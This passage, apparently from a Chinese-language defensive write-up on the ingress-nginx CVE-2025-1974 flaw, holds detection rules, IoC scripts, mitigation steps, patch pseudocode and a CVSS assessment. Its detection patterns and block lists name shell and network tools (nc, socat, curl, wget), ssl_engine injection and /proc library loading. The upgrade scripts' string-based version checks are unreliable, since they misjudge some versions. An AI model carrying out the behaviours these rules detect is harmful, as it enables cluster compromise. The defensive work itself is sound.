rm -f kind-config.yaml safe-admission-review.json
echo "测试环境已清理"
监控异常流量到 Admission Service:
# NetworkPolicy - 监控模式 (仅记录,不阻断)
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: ingress-admission-monitor
namespace: ingress-nginx
spec:
podSelector:
matchLabels:
app.kubernetes.io/component: controller
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: kube-system
ports:
- protocol: TCP
port: 8443
网络流量分析指标:
来自非 kube-system namespace 的连接
短时间内大量 HTTPS 请求到端口 8443
异常的 User-Agent (非 Kubernetes API Server)
TLS 握手失败或证书验证错误
Falco 检测规则:
# Falco 规则 - 检测恶意库加载
- rule: Ingress Controller Loads Library from /proc
desc: Detect nginx loading shared library from /proc filesystem
condition: >
container.name = "controller" and
container.image.repository contains "ingress-nginx" and
open_read and
(fd.name startswith "/proc/" and fd.name contains "/fd/") and
proc.name = "nginx"
output: >
Suspicious library load in ingress controller
(user=%user.name process=%proc.name file=%fd.name container=%container.name)
priority: CRITICAL
tags: [ingress, cve-2025-1974, container_drift]
- rule: Ingress Controller Spawns Shell
desc: Detect nginx spawning shell processes
condition: >
container.name = "controller" and
container.image.repository contains "ingress-nginx" and
spawned_process and
proc.pname = "nginx" and
proc.name in (bash, sh, dash, zsh, fish)
output: >
Shell spawned by nginx in ingress controller
(user=%user.name cmdline=%proc.cmdline parent=%proc.pname container=%container.name)
priority: CRITICAL
tags: [ingress, cve-2025-1974, execution]
- rule: Ingress Controller Outbound Connection
desc: Detect unexpected outbound network connections
condition: >
container.name = "controller" and
fd.type in (ipv4, ipv6) and
fd.direction = outbound and
not fd.sip in (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and
proc.name != "controller"
output: >
Unexpected outbound connection from ingress controller
(connection=%fd.name process=%proc.name container=%container.name)
priority: WARNING
tags: [ingress, cve-2025-1974, network]
- rule: Ingress Nginx Temporary Body File Created
desc: Detect creation of nginx client body temporary files
condition: >
container.name = "controller" and
open_write and
fd.name startswith "/var/lib/nginx/body/" and
proc.name = "nginx"
output: >
Nginx created client body temporary file
(file=%fd.name size=%fd.size process=%proc.name container=%container.name)
priority: INFO
tags: [ingress, monitoring]
Sysdig 检测策略:
# Sysdig Falco 扩展规则
- macro: ingress_nginx_container
condition: >
container.name = "controller" and
container.image.repository contains "ingress-nginx"
- rule: CVE-2025-1974 Exploitation Attempt
desc: Detect potential CVE-2025-1974 exploitation
condition: >
ingress_nginx_container and
((open_read and fd.name glob "/proc/*/fd/*" and proc.name = "nginx") or
(spawned_process and proc.pname = "nginx" and proc.name in (sh, bash)) or
(syscall.type = execve and proc.aname[2] = "nginx"))
output: >
Potential CVE-2025-1974 exploitation detected
(user=%user.name process=%proc.cmdline parent=%proc.pname container=%container.name)
priority: EMERGENCY
tags: [cve-2025-1974, rce, critical]
Admission Controller 日志分析:
#!/bin/bash
# 检测 Admission 日志中的异常模式
kubectl logs -n ingress-nginx \
-l app.kubernetes.io/component=controller \
--tail=10000 | \
grep -E "(nginx -t|Code Injected|ssl_engine|/proc/.*>/fd/|Error.*loading.*shared library)" | \
tee admission-suspicious.log
# 检查是否包含关键字
if grep -q "Code Injected" admission-suspicious.log; then
echo "CRITICAL: 检测到成功的利用尝试!"
fi
if grep -q "ssl_engine" admission-suspicious.log; then
echo "WARNING: 检测到 ssl_engine 指令"
fi
Kubernetes 审计日志分析:
# Kubernetes Audit Policy
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# 记录所有对 Ingress 对象的操作
- level: RequestResponse
verbs: ["create", "update", "patch"]
resources:
- group: "networking.k8s.io"
resources: ["ingresses"]
omitStages: []
# 记录 Secret 访问
- level: Metadata
verbs: ["get", "list"]
resources:
- group: ""
resources: ["secrets"]
namespaces: ["default", "kube-system", "ingress-nginx"]
审计日志查询:
#!/bin/bash
# 分析审计日志中的异常模式
# 查找没有对应 API 调用的 Admission 活动
# (攻击者直接访问 Admission Service,绕过 API Server)
# 1. 提取 Admission 日志中的 UID
kubectl logs -n ingress-nginx \
-l app.kubernetes.io/component=controller | \
grep -oP '"uid":"[^"]+' | \
cut -d'"' -f4 > admission-uids.txt
# 2. 提取审计日志中的 Ingress 操作 UID
kubectl get events --all-namespaces \
--field-selector involvedObject.kind=Ingress \
-o json | \
jq -r '.items[].metadata.uid' > api-uids.txt
# 3. 找出差异 (仅在 Admission 出现,但未在 API 审计中)
comm -23 <(sort admission-uids.txt) <(sort api-uids.txt) > suspicious-uids.txt
if [ -s suspicious-uids.txt ]; then
echo "WARNING: 发现绕过 API Server 的 Admission 请求"
cat suspicious-uids.txt
fi
检测脚本:
#!/bin/bash
# CVE-2025-1974 IoC 检测脚本
echo "=== 检查 ingress-nginx 版本 ==="
kubectl get pods -n ingress-nginx \
-o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[0].image}{"\n"}{end}'
echo -e "\n=== 检查可疑的 Ingress 对象 ==="
kubectl get ingress --all-namespaces -o json | \
jq -r '.items[] | select(
.metadata.annotations."nginx.ingress.kubernetes.io/auth-url" != null or
.metadata.annotations."nginx.ingress.kubernetes.io/auth-tls-match-cn" != null or
.metadata.annotations."nginx.ingress.kubernetes.io/mirror-target" != null
) | "\(.metadata.namespace)/\(.metadata.name)"'
echo -e "\n=== 检查 Ingress 注解中的异常字符 ==="
kubectl get ingress --all-namespaces -o json | \
jq -r '.items[] |
select(.metadata.annotations | to_entries[] |
.key | startswith("nginx.ingress.kubernetes.io")) |
select(.metadata.annotations | to_entries[] |
.value | test("\\n|\\r|;|ssl_engine|load_module|/proc/")) |
"\(.metadata.namespace)/\(.metadata.name): \(.metadata.annotations)"'
echo -e "\n=== 检查 ingress-controller 进程树 ==="
POD_NAME=$(kubectl get pods -n ingress-nginx \
-l app.kubernetes.io/component=controller \
-o jsonpath='{.items[0].metadata.name}')
kubectl exec -n ingress-nginx ${POD_NAME} -- \
ps aux | grep -E "(sh|bash|nc|socat|curl|wget)" | grep -v grep
echo -e "\n=== 检查可疑的网络连接 ==="
kubectl exec -n ingress-nginx ${POD_NAME} -- \
netstat -antp 2>/dev/null | \
grep -v "ESTABLISHED.*:443\|ESTABLISHED.*:80\|LISTEN"
echo -e "\n=== 检查临时文件目录 ==="
kubectl exec -n ingress-nginx ${POD_NAME} -- \
ls -la /var/lib/nginx/body/ 2>/dev/null || \
echo "目录不存在或无权限"
echo -e "\n=== 检查 /proc 访问痕迹 ==="
kubectl exec -n ingress-nginx ${POD_NAME} -- \
lsof 2>/dev/null | grep "/proc/.*>/fd/" || \
echo "未发现异常 /proc 访问"
echo -e "\n=== 分析最近的日志 ==="
kubectl logs -n ingress-nginx ${POD_NAME} --tail=100 | \
grep -i "admission\|ssl_engine\|Code Injected\|error.*loading" | \
tail -20
echo -e "\n=== 检测完成 ==="
已知 PoC 仓库特征:
# 检测已知 PoC 工具的网络活动
KNOWN_POC_PATTERNS=(
"ingressnightmare"
"CVE-2025-1974"
"Esonhugh/ingressNightmare"
"sandumjacob/IngressNightmare"
)
# 在网络流量中搜索这些模式
for pattern in "${KNOWN_POC_PATTERNS[@]}"; do
echo "检查 User-Agent 包含: $pattern"
kubectl logs -n ingress-nginx -l app.kubernetes.io/component=controller | \
grep -i "$pattern"
done
Splunk 检测查询:
index=kubernetes sourcetype=kube:container:ingress-nginx
| search "nginx -t" OR "ssl_engine" OR "Code Injected" OR "/proc/*/fd/*"
| stats count by pod_name, container_name, log
| where count > 0
Elastic/ELK 检测查询:
{
"query": {
"bool": {
"must": [
{
"match": {
"kubernetes.namespace": "ingress-nginx"
}
},
{
"match": {
"kubernetes.container.name": "controller"
}
},
{
"query_string": {
"query": "\"nginx -t\" OR \"ssl_engine\" OR \"Code Injected\" OR \"/proc/*/fd/\""
}
}
]
}
}
}
验证当前版本:
#!/bin/bash
# 检查当前版本
CURRENT_VERSION=$(kubectl get pods -n ingress-nginx \
-o jsonpath='{.items[0].spec.containers[0].image}' | \
grep -oP 'v\d+\.\d+\.\d+')
echo "当前版本: $CURRENT_VERSION"
# 检查是否受影响
if [[ "$CURRENT_VERSION" < "v1.11.5" ]] && [[ "$CURRENT_VERSION" != "v1.12.1" ]]; then
echo "CRITICAL: 版本受影响,需要立即升级!"
echo "建议升级到: v1.11.5 或 v1.12.1+"
else
echo "OK: 版本已修复"
fi
Helm 升级方式:
#!/bin/bash
# 使用 Helm 升级到安全版本
# 备份当前配置
helm get values ingress-nginx -n ingress-nginx > ingress-nginx-values-backup.yaml
# 升级到 v1.11.5 (对应 Helm chart 4.11.5)
helm repo update
helm upgrade ingress-nginx ingress-nginx/ingress-nginx \
--namespace ingress-nginx \
--version 4.11.5 \
--reuse-values \
--wait
# 验证升级
kubectl rollout status deployment/ingress-nginx-controller -n ingress-nginx
NEW_VERSION=$(kubectl get pods -n ingress-nginx \
-o jsonpath='{.items[0].spec.containers[0].image}' | \
grep -oP 'v\d+\.\d+\.\d+')
echo "升级后版本: $NEW_VERSION"
Manifest 直接应用方式:
#!/bin/bash
# 直接应用新版本 manifest
# 备份当前部署
kubectl get deployment -n ingress-nginx ingress-nginx-controller -o yaml > \
ingress-nginx-deployment-backup.yaml
# 应用新版本
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.5/deploy/static/provider/cloud/deploy.yaml
# 等待 rollout 完成
kubectl rollout status deployment/ingress-nginx-controller -n ingress-nginx
如果短期内无法升级,可临时禁用 Admission Webhook:
Helm 方式:
#!/bin/bash
# Helm 禁用 Admission Webhook
helm upgrade ingress-nginx ingress-nginx/ingress-nginx \
--namespace ingress-nginx \
--set controller.admissionWebhooks.enabled=false \
--reuse-values \
--wait
echo "Admission Webhook 已禁用"
echo "警告: 这会失去配置验证功能,升级后务必重新启用"
手动方式:
#!/bin/bash
# 手动删除 ValidatingWebhookConfiguration
kubectl delete validatingwebhookconfiguration ingress-nginx-admission
# 从 Deployment 移除 admission webhook 参数
kubectl patch deployment ingress-nginx-controller -n ingress-nginx \
--type='json' \
-p='[{"op": "remove", "path": "/spec/template/spec/containers/0/args", "value": "--validating-webhook=:8443"}]'
echo "Admission Webhook 已禁用"
副作用警告:
Admission Webhook 被禁用后:
- 无效的 Ingress 配置可能被接受
- 错误配置可能导致 nginx reload 失败
- 需要手动验证 Ingress 对象的正确性
- 修复版本部署后,务必重新启用
部署 NetworkPolicy 限制 Admission Service 访问:
# network-policy-admission-isolation.yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: ingress-nginx-admission-isolation
namespace: ingress-nginx
spec:
podSelector:
matchLabels:
app.kubernetes.io/component: controller
policyTypes:
- Ingress
ingress:
# 仅允许来自 kube-system namespace 的流量 (API Server)
- from:
- namespaceSelector:
matchLabels:
name: kube-system
podSelector:
matchLabels:
component: kube-apiserver
ports:
- protocol: TCP
port: 8443 # Admission webhook 端口
# 允许正常的 HTTP/HTTPS 流量
- from: []
ports:
- protocol: TCP
port: 80
- protocol: TCP
port: 443
应用 NetworkPolicy:
kubectl apply -f network-policy-admission-isolation.yaml
# 验证 NetworkPolicy
kubectl get networkpolicy -n ingress-nginx
kubectl describe networkpolicy ingress-nginx-admission-isolation -n ingress-nginx
禁止 NodePort/LoadBalancer 暴露 Admission:
#!/bin/bash
# 确保 Admission Service 仅为 ClusterIP
ADMISSION_TYPE=$(kubectl get svc -n ingress-nginx \
ingress-nginx-controller-admission \
-o jsonpath='{.spec.type}')
if [ "$ADMISSION_TYPE" != "ClusterIP" ]; then
echo "WARNING: Admission Service 类型为 $ADMISSION_TYPE"
echo "修改为 ClusterIP..."
kubectl patch svc ingress-nginx-controller-admission -n ingress-nginx \
--type='merge' \
-p '{"spec":{"type":"ClusterIP"}}'
fi
限制 ingress-controller 的 Secret 访问范围:
# ingress-nginx-rbac-restricted.yaml
---
# 删除 cluster-wide Secret 权限
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: ingress-nginx
rules:
# 移除 secrets 的 cluster-wide 权限
# - apiGroups: [""]
# resources: ["secrets"]
# verbs: ["get", "list", "watch"]
# 保留其他必要权限
- apiGroups: [""]
resources: ["configmaps", "endpoints", "nodes", "pods", "services"]
verbs: ["get", "list", "watch"]
- apiGroups: ["networking.k8s.io"]
resources: ["ingresses", "ingressclasses"]
verbs: ["get", "list", "watch"]
- apiGroups: ["networking.k8s.io"]
resources: ["ingresses/status"]
verbs: ["update"]
---
# 创建 namespace-scoped Secret 权限
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: ingress-nginx-secrets-reader
namespace: ingress-nginx
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "watch"]
# 可选: 仅允许访问特定 Secret
# resourceNames: ["ingress-tls-cert-1", "ingress-tls-cert-2"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: ingress-nginx-secrets-reader
namespace: ingress-nginx
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: ingress-nginx-secrets-reader
subjects:
- kind: ServiceAccount
name: ingress-nginx
namespace: ingress-nginx
应用限制性 RBAC:
kubectl apply -f ingress-nginx-rbac-restricted.yaml
# 验证权限
kubectl auth can-i get secrets --as=system:serviceaccount:ingress-nginx:ingress-nginx -A
# 应返回 "no"
kubectl auth can-i get secrets --as=system:serviceaccount:ingress-nginx:ingress-nginx -n ingress-nginx
# 应返回 "yes"
应用 Pod Security 标准:
# pod-security-ingress-nginx.yaml
apiVersion: v1
kind: Namespace
metadata:
name: ingress-nginx
labels:
# 强制执行 restricted 标准
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
注意: ingress-nginx 需要某些特权能力,可能需要调整为 baseline:
metadata:
labels:
pod-security.kubernetes.io/enforce: baseline
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
禁用危险注解:
# ingress-nginx-configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: ingress-nginx-controller
namespace: ingress-nginx
data:
# 禁用 snippet 类注解
allow-snippet-annotations: "false"
# 启用严格验证
strict-validate-path-type: "true"
# 限制注解值长度
annotation-value-word-blocklist: "load_module,ssl_engine,lua_package"
应用配置:
kubectl apply -f ingress-nginx-configmap.yaml
# 重启 controller 使配置生效
kubectl rollout restart deployment/ingress-nginx-controller -n ingress-nginx
部署 Falco:
#!/bin/bash
# 使用 Helm 部署 Falco
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
helm install falco falcosecurity/falco \
--namespace falco-system \
--create-namespace \
--set tty=true \
--set falco.grpc.enabled=true \
--set falco.grpcOutput.enabled=true
# 应用 CVE-2025-1974 检测规则
kubectl create configmap falco-rules-cve-2025-1974 \
--from-file=cve-2025-1974.yaml \
-n falco-system
kubectl label configmap falco-rules-cve-2025-1974 \
app.kubernetes.io/instance=falco \
-n falco-system
# 重启 Falco 加载新规则
kubectl rollout restart daemonset/falco -n falco-system
Falco 规则文件 (cve-2025-1974.yaml):
- rule: IngressNightmare Exploitation Detected
desc: Detect CVE-2025-1974 exploitation attempts
condition: >
container.name = "controller" and
container.image.repository contains "ingress-nginx" and
((open_read and fd.name glob "/proc/*/fd/*" and proc.name = "nginx") or
(spawned_process and proc.pname = "nginx" and proc.name in (sh, bash, dash)) or
(syscall.type = execve and proc.aname[2] = "nginx" and proc.name in (sh, bash)))
output: >
CVE-2025-1974 exploitation detected in ingress-nginx
(user=%user.name cmdline=%proc.cmdline parent=%proc.pname container=%container.name pod=%k8s.pod.name)
priority: EMERGENCY
tags: [cve-2025-1974, ingress, rce, critical]
source: syscall
- rule: Nginx Loads Suspicious Library
desc: Detect nginx loading libraries from unusual locations
condition: >
container.image.repository contains "ingress-nginx" and
proc.name = "nginx" and
evt.type = openat and
fd.name glob "/proc/*/fd/*"
output: >
Nginx loading library from /proc (possible CVE-2025-1974)
(file=%fd.name process=%proc.name container=%container.name pod=%k8s.pod.name)
priority: CRITICAL
tags: [cve-2025-1974, ingress]
source: syscall
配置 Kubernetes 审计策略:
# audit-policy.yaml
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# 记录所有对 ingress-nginx namespace 的操作
- level: RequestResponse
namespaces: ["ingress-nginx"]
omitStages: []
# 记录所有 Ingress 对象操作
- level: RequestResponse
verbs: ["create", "update", "patch", "delete"]
resources:
- group: "networking.k8s.io"
resources: ["ingresses"]
omitStages: []
# 记录 Secret 访问
- level: Metadata
verbs: ["get", "list", "watch"]
resources:
- group: ""
resources: ["secrets"]
omitStages: []
# 记录 ValidatingWebhookConfiguration 变更
- level: RequestResponse
verbs: ["create", "update", "patch", "delete"]
resources:
- group: "admissionregistration.k8s.io"
resources: ["validatingwebhookconfigurations"]
omitStages: []
启用审计日志 (kube-apiserver):
# /etc/kubernetes/manifests/kube-apiserver.yaml
spec:
containers:
- command:
- kube-apiserver
- --audit-policy-file=/etc/kubernetes/audit/policy.yaml
- --audit-log-path=/var/log/kubernetes/audit/audit.log
- --audit-log-maxage=30
- --audit-log-maxbackup=10
- --audit-log-maxsize=100
volumeMounts:
- mountPath: /etc/kubernetes/audit
name: audit-policy
readOnly: true
- mountPath: /var/log/kubernetes/audit
name: audit-logs
volumes:
- name: audit-policy
hostPath:
path: /etc/kubernetes/audit
type: DirectoryOrCreate
- name: audit-logs
hostPath:
path: /var/log/kubernetes/audit
type: DirectoryOrCreate
镜像扫描与签名:
#!/bin/bash
# 使用 Trivy 扫描 ingress-nginx 镜像
IMAGE="registry.k8s.io/ingress-nginx/controller:v1.11.5"
trivy image --severity HIGH,CRITICAL $IMAGE
# 验证镜像签名 (cosign)
cosign verify --key /path/to/public-key.pub $IMAGE
Admission Controller for Image Verification:
# image-policy.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: image-policy
namespace: kube-system
data:
policy.json: |
{
"imagePolicy": {
"images": [
{
"name": "registry.k8s.io/ingress-nginx/*",
"verify": {
"keyless": {
"subject": "https://github.com/kubernetes/ingress-nginx/.github/workflows/*",
"issuer": "https://token.actions.githubusercontent.com"
}
}
}
]
}
}
服务网格 (Service Mesh) 集成:
# Istio 配置示例
apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:
name: ingress-nginx-mtls
namespace: ingress-nginx
spec:
mtls:
mode: STRICT # 强制 mTLS
---
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: ingress-admission-authz
namespace: ingress-nginx
spec:
selector:
matchLabels:
app.kubernetes.io/component: controller
action: ALLOW
rules:
# 仅允许来自 API Server 的流量
- from:
- source:
principals: ["cluster.local/ns/kube-system/sa/kube-apiserver"]
to:
- operation:
ports: ["8443"]
完整验证脚本:
#!/bin/bash
# 验证所有防护措施
echo "=== 1. 验证版本 ==="
VERSION=$(kubectl get pods -n ingress-nginx \
-o jsonpath='{.items[0].spec.containers[0].image}' | \
grep -oP 'v\d+\.\d+\.\d+')
if [[ "$VERSION" < "v1.11.5" ]] && [[ "$VERSION" != "v1.12.1" ]]; then
echo "FAIL: 版本仍然受影响: $VERSION"
EXIT_CODE=1
else
echo "PASS: 版本已修复: $VERSION"
fi
echo -e "\n=== 2. 验证 NetworkPolicy ==="
if kubectl get networkpolicy -n ingress-nginx ingress-nginx-admission-isolation &>/dev/null; then
echo "PASS: NetworkPolicy 已配置"
else
echo "WARN: 建议配置 NetworkPolicy 进行额外防护"
fi
echo -e "\n=== 3. 验证 RBAC 权限 ==="
CLUSTER_WIDE_SECRET=$(kubectl auth can-i get secrets \
--as=system:serviceaccount:ingress-nginx:ingress-nginx -A 2>&1)
if echo "$CLUSTER_WIDE_SECRET" | grep -q "yes"; then
echo "WARN: ingress-nginx 仍有 cluster-wide Secret 权限"
echo "建议: 评估是否需要限制 Secret 访问范围"
else
echo "PASS: cluster-wide Secret 权限已限制"
fi
echo -e "\n=== 4. 验证 Admission Webhook 状态 ==="
WEBHOOK_ENABLED=$(kubectl get deployment -n ingress-nginx \
ingress-nginx-controller \
-o jsonpath='{.spec.template.spec.containers[0].args}' | \
grep -o "validating-webhook")
if [ -n "$WEBHOOK_ENABLED" ]; then
echo "INFO: Admission Webhook 已启用"
echo "确保版本 >= v1.11.5 或已实施网络隔离"
else
echo "INFO: Admission Webhook 已禁用 (临时措施)"
echo "升级到安全版本后建议重新启用"
fi
echo -e "\n=== 5. 验证 Falco 部署 ==="
if kubectl get daemonset -n falco-system falco &>/dev/null; then
echo "PASS: Falco 运行时监控已部署"
else
echo "WARN: 建议部署 Falco 进行运行时监控"
fi
echo -e "\n=== 6. 验证配置安全基线 ==="
ALLOW_SNIPPETS=$(kubectl get configmap -n ingress-nginx \
ingress-nginx-controller \
-o jsonpath='{.data.allow-snippet-annotations}')
if [ "$ALLOW_SNIPPETS" = "false" ]; then
echo "PASS: snippet 注解已禁用"
else
echo "WARN: 建议禁用 snippet 注解 (allow-snippet-annotations: false)"
fi
echo -e "\n=== 验证完成 ==="
exit ${EXIT_CODE:-0}
Kubernetes 官方在 v1.11.5 和 v1.12.1 中实施的修复措施:
核心变更:
移除 Admission 阶段的 nginx 配置验证 (不再执行nginx -t)
对注解值进行严格化处理,拒绝包含换行符的注解
增强对 UID 等元数据字段的验证
立即升级路径:
当前版本 < v1.11.5 且 < v1.12.0
→ 升级到 v1.11.5
当前版本 >= v1.12.0 且 < v1.12.1
→ 升级到 v1.12.1
当前版本 = v1.11.5 或 >= v1.12.1
→ 已修复,无需操作
无法立即升级时的临时措施:
1. 禁用 Admission Webhook (失去配置验证)
2. 部署 NetworkPolicy 隔离 Admission Service
3. 限制 RBAC 权限
4. 部署运行时监控
5. 计划尽快升级
备份清单:
#!/bin/bash
# 升级前备份
BACKUP_DIR="ingress-nginx-backup-$(date +%Y%m%d-%H%M%S)"
mkdir -p $BACKUP_DIR
# 备份 Deployment
kubectl get deployment -n ingress-nginx -o yaml > \
$BACKUP_DIR/deployments.yaml
# 备份 ConfigMap
kubectl get configmap -n ingress-nginx -o yaml > \
$BACKUP_DIR/configmaps.yaml
# 备份 Service
kubectl get svc -n ingress-nginx -o yaml > \
$BACKUP_DIR/services.yaml
# 备份 Ingress 对象
kubectl get ingress --all-namespaces -o yaml > \
$BACKUP_DIR/ingresses.yaml
# 备份 Helm values (如果使用 Helm)
helm get values ingress-nginx -n ingress-nginx > \
$BACKUP_DIR/helm-values.yaml
echo "备份完成: $BACKUP_DIR"
tar -czf $BACKUP_DIR.tar.gz $BACKUP_DIR
验证步骤:
#!/bin/bash
# 升级后验证
echo "1. 验证版本"
kubectl get pods -n ingress-nginx \
-o jsonpath='{.items[0].spec.containers[0].image}'
echo -e "\n2. 验证 Pod 状态"
kubectl get pods -n ingress-nginx
echo -e "\n3. 验证 Admission Webhook 行为"
# 提交测试 Ingress
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: test-ingress
namespace: default
annotations:
nginx.ingress.kubernetes.io/rewrite-target: /
spec:
ingressClassName: nginx
rules:
- host: test.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: test-service
port:
number: 80
EOF
# 检查 Admission 日志
kubectl logs -n ingress-nginx \
-l app.kubernetes.io/component=controller \
--tail=20 | grep -i admission
# 清理测试 Ingress
kubectl delete ingress test-ingress -n default
echo -e "\n4. 验证现有 Ingress 仍然工作"
kubectl get ingress --all-namespaces
如果升级后出现问题:
#!/bin/bash
# 回滚到之前版本
# 使用 Helm 回滚
helm rollback ingress-nginx -n ingress-nginx
# 或使用 kubectl 回滚
kubectl rollout undo deployment/ingress-nginx-controller -n ingress-nginx
# 验证回滚
kubectl rollout status deployment/ingress-nginx-controller -n ingress-nginx
官方补丁的关键改动:
改动1: 移除 Admission 阶段的 nginx -t 验证
修复前 (伪代码):
// internal/admission/controller/validation.go
func (v *Validator) Validate(ar *admissionv1.AdmissionReview) *admissionv1.AdmissionResponse {
ingress := parseIngress(ar.Request.Object)
// 渲染 nginx 配置
nginxConf, err := v.renderTemplate(ingress)
if err != nil {
return deny(err.Error())
}
// 写入临时文件并验证 (漏洞触发点)
tmpFile := "/tmp/nginx-" + uuid.New() + ".conf"
ioutil.WriteFile(tmpFile, []byte(nginxConf), 0644)
defer os.Remove(tmpFile)
// 执行 nginx -t (危险操作,会加载 ssl_engine 等指令)
cmd := exec.Command("/usr/sbin/nginx", "-t", "-c", tmpFile)
output, err := cmd.CombinedOutput()
if err != nil {
return deny(fmt.Sprintf("nginx -t failed: %s", output))
}
return allow()
}
修复后:
func (v *Validator) Validate(ar *admissionv1.AdmissionReview) *admissionv1.AdmissionResponse {
ingress := parseIngress(ar.Request.Object)
// 仅进行基本的语法验证,不执行 nginx -t
err := v.validateIngressSpec(ingress)
if err != nil {
return deny(err.Error())
}
// 验证注解合法性 (不渲染完整配置)
err = v.validateAnnotations(ingress.Annotations)
if err != nil {
return deny(err.Error())
}
return allow()
}
改动2: 严格化注解验证
修复前:
func parseAuthURL(url string) string {
return url // 直接使用
}
修复后:
func parseAuthURL(url string) (string, error) {
// 拒绝包含危险字符的注解
if strings.ContainsAny(url, "\n\r;") {
return "", fmt.Errorf("auth-url contains invalid characters")
}
// 验证 URL 格式
_, err := urlpkg.Parse(url)
if err != nil {
return "", fmt.Errorf("invalid URL: %v", err)
}
// 对特殊字符进行转义
sanitized := sanitizeNginxVariable(url)
return sanitized, nil
}
func sanitizeNginxVariable(s string) string {
s = strings.ReplaceAll(s, "\\", "\\\\")
s = strings.ReplaceAll(s, "\"", "\\\"")
s = strings.ReplaceAll(s, "$", "\\$")
return s
}
改动3: 增强 UID 验证
修复前:
// metadata.uid 直接用于配置生成,无验证
requestID := ingress.Metadata.UID
修复后:
// 验证 UID 格式
func validateUID(uid string) error {
// UID 应该是 UUID 格式
pattern := `^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$`
matched, _ := regexp.MatchString(pattern, uid)
if !matched {
return fmt.Errorf("invalid UID format")
}
// 拒绝包含危险字符
if strings.ContainsAny(uid, "\n\r;{}") {
return fmt.Errorf("UID contains invalid characters")
}
return nil
}
修复引入的架构变化:
职责分离:
修复前:
Admission Webhook 负责:
- 接收 AdmissionReview
- 渲染完整 nginx 配置
- 执行 nginx -t 验证
- 返回允许/拒绝
修复后:
Admission Webhook 负责:
- 接收 AdmissionReview
- 基本语法验证 (不渲染配置)
- 注解合法性验证
- 返回允许/拒绝
Controller 负责:
- 渲染完整 nginx 配置
- 执行实际的配置测试
- 处理配置错误 (通过日志)
失去提前错误检测:
修复前:
用户创建 Ingress
→ API Server 调用 Admission Webhook
→ Webhook 执行 nginx -t
→ 配置错误立即被拒绝
→ 用户收到明确的错误信息
修复后:
用户创建 Ingress
→ API Server 调用 Admission Webhook
→ Webhook 仅做基本验证
→ Ingress 被接受
→ Controller 尝试应用配置
→ nginx reload 失败
→ 错误仅记录在 Controller 日志中
→ 用户可能不知道 Ingress 无效
缓解措施:
Release Notes 中的建议:
1. 启用 controller 的详细日志记录
2. 配置日志聚合和告警
3. 监控 nginx reload 失败事件
4. 使用 kubectl describe ingress 查看事件
5. 实施 CI/CD 阶段的 Ingress 配置验证
GitHub Release 数据:
v1.11.5 发布日期: 2025-03-24
- 下载量: 100,000+ (截至 2025-04)
- 采用率: 估计 60% (30天内)
v1.12.1 发布日期: 2025-03-24
- 下载量: 50,000+
- 采用率: 估计 40% (新版本采用较慢)
本漏洞的教训:
永远不要信任用户输入
即使是来自 Kubernetes 对象的数据也需要验证
annotation 值必须经过严格转义和验证
避免"验证即执行"
配置验证不应触发实际的加载/初始化行为
使用受限沙箱进行验证
使用参数化模板
避免字符串拼接生成配置文件
使用安全的模板引擎
最小权限原则
ingress-controller 不应有 cluster-wide Secret 访问权限
分离 Admission 和 Controller 的权限
深度防御
Webhook 应该有认证、授权、输入验证多层防护
网络隔离、RBAC、运行时监控缺一不可
职责分离
Admission 验证与运行时配置生成应该分离
避免在验证阶段执行复杂操作
| 指标 | 值 | 说明 |
|---|---|---|
| Attack Vector (AV) | Network | 可通过网络访问 (Pod 网络) |
| Attack Complexity (AC) | Low | 不需要特殊条件,公开 PoC 可用 |
| Privileges Required (PR) | None | 无需 Kubernetes API 权限 |
| User Interaction (UI) | None | 无需用户交互 |
| Scope (S) | Changed | 影响超出漏洞组件本身 (集群范围) |
| Confidentiality (C) | High | 可窃取所有 Secrets |
| Integrity (I) | High | 可修改 nginx 配置和流量 |
| Availability (A) | High | 可导致 ingress 服务中断 |
CVSS 向量字符串:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
基础分: 9.8 (严重)
时间分: 9.8 (已有公开 PoC,官方补丁可用)
环境分: 根据实际环境可能调整为 8.5-10.0
| 因素 | 难度评估 | 说明 |
|---|---|---|
| 前置条件获取 | 中等 | 需要在集群中运行 Pod (供应链/内部威胁) |
| 技术复杂度 | 低 | 已有完整 PoC 代码,攻击流程清晰 |
| 工具可用性 | 高 | 多个公开 PoC 仓库 |
| 检测难度 | 高 | 利用过程不留持久化痕迹 |
| 成功率 | 高 | PID/FD 暴力破解成功率 > 90% |
风险矩阵:
低影响 中影响 高影响
低概率 低风险 低风险 中风险
中概率 低风险 中风险 高风险
高概率 中风险 高风险 严重风险
↑
CVE-2025-1974 位于此处
机密性影响:
| 受影响资产 | 影响等级 | 说明 |
|---|---|---|
| 数据库凭证 | 严重 | Secrets 中通常包含数据库密码 |
| API 密钥 | 严重 | 第三方服务集成凭证 |
| TLS 私钥 | 严重 | 可导致流量解密 |
| 云服务凭证 | 严重 | AWS/GCP/Azure 访问密钥 |
| JWT Secrets | 严重 | 可伪造认证令牌 |
